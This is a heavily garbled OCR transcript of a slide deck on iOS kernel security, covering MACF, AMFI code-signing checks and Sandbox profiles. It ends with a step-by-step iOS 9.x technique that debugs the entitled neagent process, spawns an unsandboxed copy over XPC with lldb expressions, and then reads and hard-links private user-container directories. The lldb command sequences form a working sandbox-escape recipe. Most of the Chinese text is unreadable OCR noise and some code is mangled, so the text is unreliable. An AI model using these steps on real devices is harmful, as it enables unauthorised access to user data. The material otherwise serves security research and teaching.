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I0S NEAZERFME (1)

+ i0S HUEELREHFIE -
- RIBER

:/ N
e //IE':L

— EESSuE
» W1 ERI=EREEMKER T - smHIGIREHIAEZE ( MACF )
e i0S/macOS 7y MACF 38F TrustedBSD

« MACF B9tHK183Z : {(New approaches to operating system
security extensibility)

e £ macOS v10.5 (xnu-1228) =2 MACF
e £i0OS v2.0 (xnu-1228.6.76) 128 MACF




I0S NEAZERFME (2)

+ 1£i0S v1.0 (xnu-933.0.0.178) HF3ERBELZFFIAS I\ MACF
+ (BRESLIRRYAATHR | BB ImIE 7

Function name

[¥] _mac_check_ipc_method MOVS RO, #

@ _mac_check_port_copy_send BX LR

[7] _mac_check_port_hold_receive ; End of function _mac_check ipc_method

[¥] _mac_check_port_hold_send
[¥] _mac_check_port_make_send
E _mac_check_port_move_receive
[¥] _mac_check_port_relabel

[¥] _mac_check_port_send

[#] _mac_check_service_access

[¥] _mac_check_mount_getattr MOVS RO, #
[#] _mac_check_mount_setattr BX LR

[#] _mac_check_pipe_ioctl
[¥] _mac_check_pipe_kgfilter
[¥] _mac_check_pipe_read

o MU ERMIRCRPTTLAER , Hook SRS EREREBIFKID
« MACF B9RRENIE : ${XNU-SRC}/security

; End of function mac policy register




I0S NEAZERFME (3)

- SRGHBAIESHESRRRIE, &1t
* MACF —MRAZLHIEZR

- BEARRE : Bt RsChRINgEPREABERCIEX B R
- [RItZHN  HESRATHY B, aI4EPHEETIERN
» LA task_for_ pid AR MACF BIEARRIE
» task_for_pid FIREI pid SR EIRHER task

- —BERENEI—NHERY task BT ERHE
- EEERHERNNE
- IEiEIRRLAE




0S BUELAZ RIS (4) C;

FEERERNZ2XS

« MACF X task for pid AMEX :

kern return t
task for pid(
struct task for pid args *args)

{
if (p->task != TASK NULL) {

#1if CONFIG MACF
error = mac_proc_ check get task(kauth cred get(), p):;
if (error) {
error = KERN FAILURE;
goto tfpout;

#endif
sright = (void *) convert task to port(p->task);
tret = ipc port copyout send(
sright,
get task ipcspace(current task()));
}

error = KERN_ SUCCESS;



I0S NEAZERME (5)

- B ERICEERER , RATRILIER
» MACF £ task for pid BHITRIEFEN T —ERARE
* FTAINRICEB VAR mac_proc_check_get_task RZ{

e mac_proc check get task EREHUEAHZE :

— TRIE task_for_ pid GRS EIMEF IR
— N - EBNHEESRES task for pid XM Entitlements

EO{E
» task_for_pid BYHTRIESHFRT , IREEIR

+ YN5R mac_proc_check_get_task 1x[B




I0S NEAZEME (6)

+ %8 MACF BY task_for pid BIL{ERE

Userspace Kernel

I.————.

I
I
: 1: task for_pid

>

1.1: kernel return

e\ I




I0S NEAZEME (7)

- ZE MACF BY task for pid BIT{ERIE :

Userspace Kernel MACF(Kernel)

| |
I I
: 1: task_for_pid :

>

I
|
|
I
I
|
1.1: mac_proc_check_get_task :

1.2: MACF return

<_ _______________

1.3: kernel return

<_ ________________




I0S NEAZEME (8)

« BIIEIEANGBAEA] THE ¥ MACF EXRE
o EIRBFTAEEZEAIEFE. oI Bk

» LA xnu-3789.51.2(i0S-v10.3/macOS-v10.12.4) Al , Pz
A 335 > MACF &R

- FEZ(T—8EE T MACF RoiRiT




I0S NEAZERFME (9)

MXFIMZORNBERE MACF
MACF By O%13%

— mac policy register

— mac_policy unregister
MACF RUZ=OIEEER , IR EEL £, BGHEM
EIISERE NEMZEORNERE
EREORYRE

int mac policy register(
struct mac policy conf *mpc,
mac_policy handle t *handlep,
void *xd);




i0S BB AZ 245 (10) (ise

FEERERNZ2XS

- GEEONEZESHRE struct mac_policy_conf , iZEEMRIEN :

struct mac policy conf ({

const char *mpcC_name;

const char *mpc_fullname;

char const * const *mpc_labelnames;
unsigned int mpc labelname count;

struct mac policy ops *mpc_ops; /** operation vector */

int mpc loadtime flags;
int *mpc field off;
int mpc _runtime flags;
mpc_t mpc_ list;
void *mpc data;
}i
o XNEHFEERRE . struct mac _policy ops,

*+ mac_policy ops FSREMBSKERIEAENE , XBERAI&RATERN
I



I0S NEAZEFFE (11)

+ struct mac policy ops B 335 R

» BPREPE—TREUEET , TLUIERE I EERREY
» BPRRESERZFTEARCASHEXT

» Ll task for pid /9l

» ERZPIBARIRE

EnllacHprEeoeEeneck sget task

* XJMzZEl mac_policy_ops HFHIE[AREDS

SaRIp oNprecachec ket T rask




struct mac policy ops {

mpo_file check create t

mpo file check ioctl t

mpo file check mmap t

mpo mount check mount t

mpo_ system check sysctlbyname t
mpo kext check query t
mpo_iokit check nvram get t
mpo iokit check nvram set t
mpo iokit check nvram delete t
mpo proc_ check debug t

mpo proc_check mprotect t

mpo socket check accept t

mpo vnode check exec t

mpo_vnode check ioctl t

}i

AN
(1SC

I0S EARZEFE (12)

FEERERNZ2XS

*mpo file check create;

*mpo file check ioctl;

*mpo file check mmap;

*mpo _mount check mount;

*mpo system check sysctlbyname;
*mpo kext check query;

*mpo iokit check nvram get;
*mpo_iokit check nvram set;
*mpo iokit check nvram delete;
*mpo_ proc_check debug;

*mpo proc_check mprotect;

*mpo socket check accept;

*mpo vnode check exec;

*mpo_vnode check ioctl;



I0S NEALZEIFE (13)

LUFEM— policy RIGUEHFZEERILAER task_for pid AfFISREBEREEANER
AT

YT i

1: ENX. Y8t mac_policy ops BITTE

2 IREXTNMAYEAELERRET |

3 %N, AL mac_policy conf HIdFE z
4 : FATRES
=R | SRR R ;

A 89S SRR A |
ANERF (A EREUREIHEOE
BirmHFERT task for pid BURERASKK



I0S NEAZEFFE (14)

. ETHRT MACF ZEO8ERIG
- HIBEET MACF WEBNTIERE

+ EFEXE policy FEMAYSEHIR R RRERITE RIS
+ FNFTRESHRMNEIRE -




I0S NEAZEFFE (15)

N
( ISC

FEEERZ2XS

{1 G O sz

Userspace

Kernel

1: task_for_pid

I
I
I
I

1.3: kernel return

MACF(Kernel)

Handler

1.1: mac_proc_check_get_task

——

1.2: MACF return

I
I
I
I
I
I
I
I
1.1.1: find mpo_proc_check_get_task |
I
I

1.1.2: call handler

e

1.1.3: handler return

< ____________________



I0S BIEARREHFIE (

16 )

- FAFPZEE task_for pid
+ AR task_for_pid R

* task for pid 2JFHH mac proc check get task

e mac_proc check get task AIHTIIIE :

— SREHFTEEMES Policy

— &A™ Policy AY mpo_

proc_check get task E423EO0

— WIERAE 0 , VERIXIRZHYSS{H-I R RREL

— FNERZ Policy i# M T B—1 54

- REF— BN EREIR B

— WAFZERT task for pid AIEMAMASRKK

o X MACF BINBREXE

2 | BETREMIE T AMFI & Sandbox



I0S NEAZ 2T

)

« Apple Mobile File Integrity(AMFI)

- AMFI {k#fF MACF

+ AMFI FiREHIR , WA#IT AMFL HXRIEE ?

- i0S Iy AMFI H/DRFS

. i0S F1f§ AMFI 5 macOS & AMFI f9iRAE/EE
- At , REEMBEMIRAEY macOS §79 AMFI Bia]

¢ XJF 10S-v9.3.5, &

a] macOS-v10.11.6 #f9

AppleMobileFileIntegrity.kext



i0S BB AZ 245 (18) (ise

FEERERNZ2XS

«  AMFI ;FA3A9 MACF NN RREL

__int64 initializeAppleMobileFilelIntegrity(_ int64 al, @ int64 a2) {
mac_ops.mpo cred check label update execve = cred check label update execve;
mac_ops.mpo cred label associate = cred label associate;
mac_ops.mpo cred label destroy = cred label destroy;
mac_ops.mpo_cred label init = cred label init;
mac_ops.mpo cred label update execve = cred label update execve;
mac_ops.mpo proc check inherit ipc ports = proc _check inherit ipc ports;
mac_ops.mpo vnode check signature = vnode check signature;
mac_ops.mpo policy initbsd = policy initbsd;
mac_ops.mpo file check mmap = file check mmap;

mac_policy.mpc name = 2

mac_policy.mpc fullname = ;
mac_policy.mpc labelnames = &labelnamespaces;

mac_policy.mpc_ labelname count = 1;

mac_policy.mpc _ops = &mac_oOps;

mac_policy.mpc loadtime flags = 0;

mac_policy.mpc field off = &mac slot;

mac_policy.mpc runtime flags = 0;

if ( mac policy register(&mac_policy, &amfiPolicyHandle, OLL) )



I0S NEAZEFFE (19)

+ AMFI YEERRSZE
- RIBER
— EERIE

+ NIBEAHE N IRN REAE

— cred check label update execve

— cred label update execve
— vnode check signature

. FIMER : BEEYEE Entitlement B9R2R A LUETAZZR9E
5

— run-unsigned-code: true

* 9 : debugserver



I0S NEAZEFFE (20 )

» 7£i0S 8.0 F0AN , EERTXIFLESA

o« FEISUFRTFRALIECESIEAN (dylib jEN)

— FFREZSEN dylib TTEENFIRFIEFS
— TeamID-A &&1Y dylib FTiEFEANEI TeamID-B EZHIFERFH

» EESGIEERSN TR ERERLAER

— _file check mmap
=

EISUERIFIIME R : BB Entitlement B9FERR{EINZ
dylib BIARSZ EESGIERYRZ I

— com.apple.private.skip-library-validation: true

|l |

* 4] : neagent



I0S NEAZEFFE (21)

FHFE Port 4¥/% : proc check inherit ipc ports
s 1ZHGFETE spawn FHFERHEA
Port 7£ Mach F2IFEEER

RNEBDEInFRRE(SENE T Port

— AEHIEE
- AR ESREZTE




(ON

HEALTERFE (22)

« AILUE Port i AYIRAR AR

SEay

' Port &iHRFLEERWREREERAYE

e |K

ItE , XF Port #xE&mE XTI PRAYAR

Sl

RN SRR EFHIZRANBEZHRKAY Port |, 5

1IN BRI R
- MIOS 10 Fin , AMFl ABBIXTNGE

 ITXINGE T{EITRYMIEE
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(1SC

I0S IEAZERFE (23)

proc_check_inherit_ipc_ports

v

[PROC]
Yes Code Sign

[PROC]
Entitlements

No

Yes

[PROC]
com.apple.rootless.”
om.apple.system-task-ports

Yes

¢<f—— Yes

[Parent]

com.apple.system-task-port Yes =
No
[PROCI&[IMG] Yes 5

Same Team ID

Y




I0S NEALZEFFE (24)

Sandbox
Sandbox [E)fEHkERF MACF

» ATIRBIHZERITH , T2685E ¢
- EEH
~ ZY5EA : BSD RS5AM , Mach REHAR
— Mach API

— IXzmpfEREO
» Sandbox ZENX TIEEZHIEHIm A EREL
i0S-v9.3.5-Sandbox #£H 121 PS4 MNERZY :




I0S NEARLZEIFE (25)

AN
( ISC)

FEERERNZ2XS

hook cred check label update execve
hook cred check label update
hook cred label associate

hook cred label destroy

hook cred label update execve
hook cred label update

hook file check fcntl

hook file check mmap

hook file check set

hook mount check fsctl

hook mount check mount

hook mount check remount

hook mount check umount

hook policy init

hook policy initbsd

hook policy syscall

hook system check sysctlbyname
hook vnode check rename

hook kext check query

hook iokit check nvram get

hook iokit check nvram set

hook iokit check nvram delete

hook proc check expose task

hook proc check set host special port
hook proc check set host exception port
hook posixsem check create

hook posixsem check open

hook posixsem check post

hook posixsem check unlink

hook posixsem check wait

hook posixshm check create

hook posixshm check open

hook posixshm check stat

hook posixshm check truncate

hook posixshm check unlink

hook proc check debug

hook proc_check fork

hook proc check get task name

hook proc check get task

hook proc check sched



I0S NEALZE4FE (26)

AN
( ISC)

FEERERNZ2XS

hook proc check setaudit
hook proc check setauid
hook proc check signal
hook socket check bind
hook socket check connect
hook socket check create
hook socket check listen
hook socket check receive
hook socket check send
hook system check acct
hook system check audit
hook system check auditctl
hook system check auditon
hook system check host priv
hook system check nfsd
hook system check reboot
hook system check settime
hook system check swapoff
hook system check swapon
hook sysvmsqg check enqueue

hook sysvmsqg check msgrcv
hook sysvmsq check msgrmid
hook sysvmsqg check msqctl
hook sysvmsq check msqgget
hook sysvmsqg check msqgrcv
hook sysvmsqg check msgsnd
hook sysvsem check semctl
hook sysvsem check semget
hook sysvsem check semop
hook sysvshm check shmat
hook sysvshm check shmctl
hook sysvshm check shmdt
hook sysvshm check shmget
hook proc check get cs info
hook proc check set cs info
hook iokit check hid control
hook vnode check access

hook vnode check chroot

hook vnode check create

hook vnode check deleteextattr



I0S NEARLZEIFE (27 )

AN
( ISC)

FEERERNZ2XS

hook vnode check exchangedata
hook vnode check exec

hook vnode check getattrlist
hook vnode check getextattr
hook vnode check ioctl

hook wvnode check link

hook vnode check listextattr
hook vnode check open

hook vnode check readlink
hook vnode check revoke

hook vnode check setattrlist
hook wvnode check setextattr
hook vnode check setflags
hook vnode check setmode
hook vnode check setowner
hook wvnode check setutimes
hook vnode check stat

hook vnode check truncate
hook wvnode check unlink

hook vnode notify create

hook vnode check uipc bind
hook vnode check uipc connect
hook proc_check suspend resume
hook thread userret

hook iokit check set properties
hook system check chud

hook vnode check searchfs

hook priv_ check

hook priv grant

hook vnode check fsgetpath
hook iokit check open

hook vnode notify rename

hook system check kas info
hook system check info

hook pty notify grant

hook pty notify close

hook kext check load

hook kext check unload

hook proc check proc_ info

hook iokit check filter properties
hook iokit check get property



I0S NEALZEFFE (28)

» —OHE : WLEZSRISEHNE N RRES

» F—HH : 1R ERIE A sEEAE

- “EEGEXK , AENEREIFES

« KAWREAICENHERE D EREAR EATITHY
« SERRTE Sandbox.kext &Ry 7 A5 |ZE TinyScheme

» [ERRRNE AT HIERE D ER

- B, A EEN TERIURIES

- H—2EH P ERKEE




0S HOEAZ LIS (29) C;

FEERERNZ2XS

« YERHEE : com.apple.logd.sb of macOS

(version 1)

;; prevent symbolication with 'no-callout' when a sandbox error occurs
(deny default (with no-callout))

(import "system.sb")

;; Allow files to be written/deleted, and attributes to be read
(allow file-write*

(regex #""(/private)?/var/db/diagnostics(/|$)")

(regex #""(/private)?/var/db/uuidtext(/|$)")
)

(allow file-read*
(regex #""(/private)?/var/db/diagnostics(/|$)")
(regex #""/private/var/db/timezone(/|$)")

)

(allow file-issue-extension
(require-all
(extension-class "com.apple.logd.read-only")
(require-any
(subpath "/private/var/db/diagnostics")
(subpath "/private/var/db/uuidtext"))))

;; Allow writes to syslogd
(allow network-outbound
(remote unix-socket (path-literal "/private/var/run/syslog"))

)



I0S NEAZEFFE (30)

+ i0S FRYPERIEEB M ImIER T iR HIRET(
- WERIHEFIEZRKISI : Dionysus Blazakis, The Apple Sandbox
- BJLUMEF Stefan Esser 321 sandbox toolkit 32/ 4mi%E

— https://github.com/sektioneins/sandbox toolkit

- sandbox_toolkit ATLUG —#HHIA0D 2 RIS IAIRE e L AR
R




0S HOELAZRMEE (31) (® @

FEEERZ2XS

+ vpn-plugins : iokit-open

@sion "com.apple.security.exception.iokit—user—client—classD

@ser—client—class "AppleKeyStoreUserClieD

@user—client—class "AppleMobileFileIntegrityUserC@'

deny (with report)




I0S NEALZEFFE (32)

« M AppStore FERINAAZE A container BV ERIRZIR

BT ERIZAIZIER

— SCHU N A IERIS T IRIPR RS

- FREIN AR LUERRN RS ZO
— FR&IN AR LIS ERYIRENE M
— PRHIN A AT LAE R RVIR B/ ]

» B T Rz FE R R E R
» WTF—LERRFER  EEINFASHAD

+ BE/EMRSAILAVEAA sandbox_init () (FECHADE

- HANE T RERNRRHBXMEOBXR
e
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(1)

- ENET iI0S NEALZ R

I REAIBRE AR
— (EEAARBHT

M|,

- DEIR

a/8
SN ENEE

« XMNBEERIIEEERIR ,
. IEERE IOS 10 higkhNEEeiwiaEnT

JP=S[BIFGIR -

+ S T IXNIRIRAIKESRG | BN 7B TS




S 10S 9.x FHF=SEIBGIR (2)

- EERBHRT

c XNRIERET—1ERE

VARTES

» WMR—NDEZIMIHRER LASIEA |
* BBARA T AT LAED EIMSREERNRRBITY |

» E9YEIHEs ( debugserver ) EGUITR :

— run-unsigned-code: true

» —PHERS LA

- EERRATERSNITFARIHEHIEREEIERY Task



S0 10S 9.x FHFZSEIRGIF ( 3)

» EARITRIRYHIESREN Task 2T Entitlement JRERY

— get-task-allow: true

- TREAFEEEINHRSS DDI,

. SHEHEBXA Entitlement KRR

- 1R==1z , Ffi]1E DDI 32 7 — : neagent
- neagent & Network Agent FUERE

* neagent FEFTINE; VPN {4 :

— Cisco AnyConnect
— OpenVPN

RO e

— CitrixVPN

— PrivateTunnel




528 10S 9.x FAFZSERsR (4 ) (ise

FEERERNZ2XS

* neagent AYIPRIOT :

<dict>

<key>com.apple.private.MobileGestalt.AllowedProtectedKeys</key>

<array>
<string>UniqueDeviceID</string>

</array>

<key>com.apple.private.neagent</key>

<true/>

<key>com.apple.private.necp.match</key>

<true/>

<key>com.apple.private.skip-library-validation</key>

<true/>

<key>get-task-allow</key>

<true/>

<key>keychain-access-groups</key>

<array>
<string>com.apple.identities</string>
<string>apple</string>
<string>com.apple.certificates</string>

</array>
</dict>



S 10S 9.x FHF=3EIBGIR (5)

neagent B NERRINE :

— com.apple.private.skip-library-validation

— get-task-allow

TEEAIE TE neagent FIRSERRBIITHNSE
$—  EHSRAIRAIIRAY DDI :

— lideviceimagemounter DDI.dmg DDI.dmg.signature

— 5 & (FH Xcode g LiziT— 1M ER

% DDI BRI

— {FEAEA®AY neagent
— EFREAHH) debugserver , NMMATLUHEITIZFE I




Z3HK 10S 9.x FHF=3EIBGIF (6)

« T3EE( s DDI f7 , B{1EEGS5) neagent

» 88— . |35 neagent XKIFEMFMGI\ :

— {EAESA VPN IhgeaIn A , kbl : AnyConnect
- BEmE—"NAREREEXIIIRSS

. XEFANEIRERTE VPN IHEERIM FSkIER2AEX RS

— Cisco AnyConnect
- BiRix , F1AHE VPN TI8ERIN A | REEREXRAINKS
+ E[RE1 T neagent Zjg , F—ZF(JFE(ERH LB =2
neagent

o




S0 10S 9.x FHFZSIEIRGIF (7))

=2 : TAE neagent Y PID
AT 11db %l neagent £ , EEXE neagent B PID

M Xcode H

.55 Instruments.app

. Simulator

EI g Simulator (Watch)
BRFFEEDO Accessibility Inspector
fa i FileMerge

B Application Loader




SSH% 10S 9.x FIFZSIEDNH (8 ) i | @

FEEERZ2XS

« JAfG , 158% iDevice 5 "Activity Monitor”
Choose a profiling template for] W iPhone6p (9.0.2) ) All Processes

Standard Custom Recent

L \ — —o

Blank Activity Monitor Allocations Cocoa Layout

[}

Counters Energy Log File Activity

Leaks

75\ N/

]|
3
5%
B
H}

O i B iPhone6p (9.0.2) ) All Processes




2857 10S 9.x PSS

SIEJBEIF (9)

1 ,469

- MIHFEFIFEH

neagent

mobile

032l neagent , EERY PID

6.10 MB 701.02 MB arm64

lm_-m-! 6.04 MB| _698.61 MB

BME : 15 11db ##Zl neagent
=%, £ macOS k£

— l1devicedebugserverproxy 11033

AERY,

.5 , /£ macOS

=TI IR -
1517 LLDB , #FHJIN2I neagent L :

— process connect connect://127.0.0.1:11033

— process attach --pid 1470




JFZSEJRAIR (10 ) (ise

FEEERZ2XS

885 10S 9.x

* 1 11db pkIOMEINZEI neagentfs , HAIISBEIW MER:

process connect connect://127.0.0.1:11033

process attach --pid 1470
Process 1470 stopped
* thread #1: tid = 0x100fec, 0x0000000180dbcfd8 1ibsystem_kernel.dylib mach_msg_trap + 8
eason = signal SIGSTOP

frame #0: 0x0000000180dbcfd8 libsystem_kernel.dylib mach_msg_trap + 8

libsystem_kernel.dylib mach_msg_trap:
-> @x18@dbcfd8 <+8>: ret

libsystem_kernel.dylib mach_msg_overwrite_trap:
0x18@dbcfdc <+@>: movn x16, #Ox1f
0x180@dbcfed <+4>: svc #0x80
0x18@dbcfe4 <+8>: ret

Executable module set to|"/Developer/usr/libexec/neagent”.




S0 10S 9.x FHF=(ERGIF (11)

- XBEIEEMRIEZZE Developer FHY neagent
« MNRARE  FEBERRT  REENITLASE
- BEUEEENIUE |, BAIERLIKE T IERRBRIT

- ZABRIRGI , FTEP— “hello world”

HWI

X lldb
expr (void)NSLog(@"hello world from neagent");

I

X idevicesyslog

Mar 24 16:29:10 1iPhone5s neagent[1470] <Warning>: hello world from neagent




D EdtE
BABNELIKE 7T EENRBHAIT

(B2 neagent {3748

= CHYDESRE

% : vpn-plugins

BIAXINPESRIZEY container EEEALY |

RZARSS

TH—ZFT A%

FTLAFAEHITVERNR |

» BEREXNDERBAVZIRT , neagent REeFIFHRDHILA

P = EREIFRIERIZE ST



SR i0S 9.x FRFZS/ERAH (13) (ise

FEEERZ2XS

o NTHRBEZER , EXT neagent {7 1EA]

A EBA T T REE
— neagent RSN HASHANLE
— ZMmp; XPC iE3KAT , neagent SINEABNAYHG , KAEHNDE

void -[NEAgentSession handleInitCommand:id cmdParam] {

pluginPath
pluginType

xpc _dictionary get string(cmdParam2, "plugin-path");
xpc_dictionary get string(cmdParam2, "plugin-type");

dispatch once(&dispatchToken, &PRTS EnterSandbox);

___int64 PRTS EnterSandbox() {
result = sandbox_ init("vpn-plugins", 1LL, &vl);

return result;

}



S 10S 9.x FHFPZ(ERGIF (14 )

- ERERRIXEERE | FAIEBRINZEL SHEE

Time Window

o WNERFAIAILIE neagent IBITANLERT
« B ZEMIINE UneagentJ: A Ik T b EhR




588 10S 9.x FAFZSERAH (15) (1se

FEEERZ2XS

e PEHE , Round 1
« B, BcE 11db FHGHIRAERIRFMII0

process attach --waitfor --name neagent

» Xf5 , Bt neagent

process connect connect://127.0.0.1:11033

process attach --waitfor --name neagent
Process 1490 stopped
* thread #1: tid = 0x104ace, 0x000000018ddbcfd8 libsystem_kernel.dylib mach_msg_trap
eason = signal SIGSTOP

frame #0: 0x0000000180dbcfd8 1ibsystem_kernel.dylib mach_msg_trap + 8

libsystem_kernel.dylib mach_msg_trap:
-> 0x180dbcfd8 <+8>: ret

libsystem_kernel.dylib mach_msg_overwrite_trap:
0x18@dbcfdc <+@>: movn x16, #Ox1f
0x180dbcfed <+4>: svc #0x80
0x180dbcfe4 <+8>: ret

Executable module set to "/Developer/usr/libexec/neagent".




23K 10S 9.x FBP=EIREIF (16 )

TS A S TR IR , LURASEE

o« BA 1= LAMSI0R] neagent £

+ BEREAWISHIIAIE

« Round 1 : Fail

=

N 5]
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. bEkiE , Round 2

* BB ZRAPRE
- BRIRIE T RABIAT
— BB RIE O et

o FANRE—FKIERER
« WNERFATILAEE] neagent HIEEAREER |

« BRAEA IR ATLAEERENDERIER 11db i #H1 7B A0




e neagent EEFET Xpc =l

e |X

ItE , FeA1IE

A N BelEIT xpc A OS5 neagent

* neagent NWWHIIRSZRBZFE : com.apple.private.neagent

. BAIEEIT

» EIIERT

“vpn-plugins” XNMPRREEAECE

-, Bl

— neagent b ERIEF BB I HE X ERE S RMEINIRS
- Bt , BMTHE TG

- &1EE

SRS 7 ERACREHIT

- BI{EEBRITEE
— Ll neagent 938k , 1813 XPC BE5—" neagent



S i0S 9.x FIFZS{ERAF (19 ) fis¢

FEEERZ2XS

« ZEERZEIRYEE , BATABRNA B
» 330 11db 2 E5l neagent = #@%E PID > 11db M0
» REBEIEEABHRITEENBRBE—" neagent :

T

process connect connect://127.0.0.1:11033
process attach --pid 225

expr id S$client = (id)xpc connection create mach service("com.apple.neagent", 0, 2);
expr id S$handler = (id)("void(unsigned long response) { (unsigned int)sleep(60); });
expr (void)xpc connection set event handler($client, $handler);

expr (void)xpc connection resume($client);

expr id $dict = (id)xpc _dictionary create(0, 0, 0)

expr (void *)xpc connection send message with reply sync(Sclient, $dict);



S8 i0S 9.x FAFZSERAH (20 ) % | @

FEEERZ2XS

+ HUTHIEREATE ¢

expr id $client = (id)xpc_connection_create_mach_service("com.apple.neagent”, 0, 2);
expr id $handler = (id)(Avoid(unsigned long response) { (unsigned int)sleep(60); });
expr (void)xpc_connection_set_event_handler($client, $handler);

expr (void)xpc_connection_resume($client);

expr (void *)xpc_connection_send_message_with_reply_sync($client, (void *)xpc_dictionary_create(@, 0, 0));
(void *) $0 = 0x000000014cd3d2cO

» PiTman<la | AR TREDERRY neagent

1,503 neagent mobile 0 3 6.15 MiB 701.02 MiB arm64
1,504 neagent mobile O 6 10.26 MiB 701.28 MiB arm64

1,513 debugserver mobile 2.29 MiB 670.73 MiB arm64
1,514 m--a— 1.12 MiB| 656.16 MiB|arm64 |
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« T3k, & 11db M\FE— neagent LiiE
- BEInENEA I=FSEHAY neagent
- ZEIt, FAIE : (ERERTHLER

« Round 2 : Success
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£ LLDB EFIA (1)

« FERTPS : expression

- Ifge : Evaluate an expression on the current thread

- BAESH | AILAERAEERRY L TR TEANIRIARE
+ B TRAVaF<SERRTS LLDB Fap<

- LLDB FEIIIREAFF 5=

-+ BEREN NS SERSIE | help XXX




E LLDB -hSFIM ( 2) e

FEERERNZ2XS

- expression BERGE

help expression

expression <expr>

-A ( --show-all-children )

-D <count> ( --depth <count> )

-F ( --flat )

-G <gdb-format> ( --gdb-format <gdb-format> )
-L ( --location )

-0 ( --object-description )

-g ( --debug )

-i <boolean> ( --ignore-breakpoints <boolean> )
-j <boolean> ( --allow-jit <boolean> )

-1 <source-language> ( --language <source-language> )
-p ( —--top-level )

-r ( --repl )



£ LLDB FE#FIA ( 3)

- LLDB g9 JIT g¢

- JIT WITERIE :

— LLDB £HIiE—1tR)L, RW- IRE

— 15 expression f®iE. PHEEBEAXR)LHF

—- AEEBRERRL R-X

~ REHEERIBRXIgHTT expression SMAIHED
o REAILAAI T apS e JIT 55

N
S

. expr -g -] true -- (void)NSLog(@"hello")




7£ LLDB hSFIMA (4) fise

FEERERNZ2XS

«  NHERJIT AEB

(prts) expr -g -j true -- (void)NSLog(@"hello")

Process 1947 stopped

* thread #1, queue = 'com.apple.main-thread', stop reason = signal
2147483647

frame #0: 0x00000001017c4000
$ 11db expr3 $ 1ldb expr($_ 1ldb arg=0x0000000000000000) at
expr3.cpp:42

39

40 wvoid

41 $ 11db expr(void *$ 11db arq)
-> 42 {

43 ;

44 /*LLDB_BODY START*/

45 (void)NSLog(@"hello");



£ LLDB ®SFIF (5) C;

FEERERNZ2XS

«  NHERJIT AEB

$__11db_expr3"$_ 11ldb_expr(void*):

-> 0x1017c4000 <+0>: sub sp, sp, #0x30 ; =0x30
0x1017c4004 <+4>: stp x20, x19, [sp, #0x10]
0x1017c4008 <+8>: stp x29, x30, [sp, #0x20]
0x1017c400c <+12>: add %29, sp, #0x20 ; =0x20
0x1017c4010 <+16>: adrp x1l, 0
0x1017c4014 <+20>: 1ldr x1, [x1, #0x88]
0x1017c4018 <+24>: mov x8, #0x100000000
0x1017c401lc <+28>: movk x8, #0x80b9, 1lsl #16
0x1017c4020 <+32>: mov w3, #0x8000000
0x1017c4024 <+36>: mov x19, x0
0x1017c4028 <+40>: movk X8, #0x7e64
0x1017c402¢c <+44>: mov w2, #0x5
0x1017c4030 <+48>: movk w3, #0x100
0x1017c4034 <+52>: mov x0, xzr
0x1017c4038 <+56>: mov w4, wzr
0x1017c403c <+60>: Dblr x8 ; X8 = 2?27
0x1017c4040 <+64>: mov x8, #0x100000000
0x1017c4044 <+68>: movk x8, #0x163, 1lsl #16
0x1017c4048 <+72>: mov x20, x0
0x1017c404c <+76>: movk x8, #0xcd60
0x1017c4050 <+80>: add x0, sp, #0x8 ; =0x8

0x1017c4054 <+84>: Dblr x8 ; X8 = ?2727?
0x1017c4058 <+88>: str x19, [sp, #0x8]

0x1017c405¢c <+92>: adrp x8, 0

0x1017c4060 <+96>: 1ldr X8, [x8, #0x80]

0x1017c4064 <+100>: mov x0, x20

0x1017c4068 <+104>: blr x8 ; X8 = ?2727?
0x1017c406c <+108>: 1ldp x29, x30, [sp, #0x20]
0x1017c4070 <+112>: 1dp x20, x19, [sp, #0x10]
0x1017c4074 <+116>: add sp, sp, #0x30
0x1017c4078 <+120>: ret

=0x30

~e



£ LLDB F"E#FIA (6)

AN
( ISC

FEERERNZ2XS

«  NHERJIT AEB

(prts) b 0x1017c403c
(prts) register read x8

x8

0x0000000180b97e64

CoreFoundation CFStringCreateWithBytes

(prts) b 0x1017c4054
(prts) register read x8

x8

0x000000010163cd60

~$ 11db valid pointer check :: § 1ldb valid pointer check(unsigned

char *) at Parse:36

(prts) b 0x1017c4068
(prts) register read x8

x8

0x00000001815b28e4

Foundation NSLog



£ LLDB FEFIA (7))

« [ETHRT LLDB JIT (A TERIES
« F(IEET expression ap$HYBES]

e | O 7 R —— N

+ EXXE:
(prts) expr id $var = @"hello”
(prts) expr (void)NSLog(S$var)

s olndees
(prts) expr

Enter expressions, then terminate with an empty line to evaluate:
l: int a = 0;

2: if (a == 0) {

3: (void)NSLog(@"a == 0");
4: }

5: else {

6: (void)NSLog(@"a != 0");
7: }



7£ LLDB ®SFIF (8) C

FEEERZ2XS

4 .
- &

(prts) expr

Enter expressions, then terminate with an empty line to evaluate:
l: int idx = 0;
2: while(idx++ < 2) {
3: (void)NSLog(@"hello");
4: }

(prts) expr

Enter expressions, then terminate with an empty line to evaluate:
l: for (int idx = 0; idx < 2; ++idx) {
2: (void)NSLog(@"hello");
3: }

(prts) expr
Enter expressions, then terminate with an empty line to evaluate:
1:

2:
3:
4



£ LLDB FEFIA (9)

TR B

(prts) expr
Enter expressions, then terminate with an empty line to evaluate:
l: void Func(void)

2: {

3: (void)NSLog(@"hello");
4: }

5: Func();

error: function definition is not allowed here
error: use of undeclared identifier 'Func'

$ 'f:l:.l/%ﬁ’:.r = ZIKHIJ-LI:II:Iﬁg =
A IS LAB LR BRUERNIBHRITEE ) + P EEER I EM
o NME—LEEIERSATFL E{FH LLDB BFIBRYAIF

L



(10) C;

FEEERZ2XS

£ LLDB pEF|]

L

- ¥JEDEHFEWNZA: /var/mobile/Library/Caches

expr id S$defaultManager = (id)[NSFileManager defaultManager]

expr id $dirPath = @"/var/mobile/Library/Caches";

expr NSArray *S$dirContents = (NSArray *)[$defaultManager \
contentsOfDirectoryAtPath:$dirPath error:0];

po S$dirContents

expr id $defaultManager = (id)[NSFileManager defaultManager]
expr id $dirPath = @"/var/mobile/Library/Caches";
expr NSArray *$dirContents = (NSArray *)[$defaultManager contentsOfDirectoryAtPath:$dirPath error:0];
po $dirContents

<__NSArrayM 0x12ce@2a60>(

ACMigrationLock,

AccountMigrationInProgress,

Checkpoint.plist,

CloudKit,

DateFormats.plist,

FamilyCircle,

GameKit,

GeoServices,

Maps,

PassKit,

SBShutdownCookie,

Snapshots,




7£ LLDB SEFIF (11) C;

FEEERZ2XS

- lEnEEE

expr id S$defaultManager = (id)[NSFileManager defaultManager]

expr id Serror = 0

expr (int)[$defaultManager linkItemAtPath:@"/var/mobile/Containers”
toPath:@"/var/mobile/Media/ Containers" error:&$error]

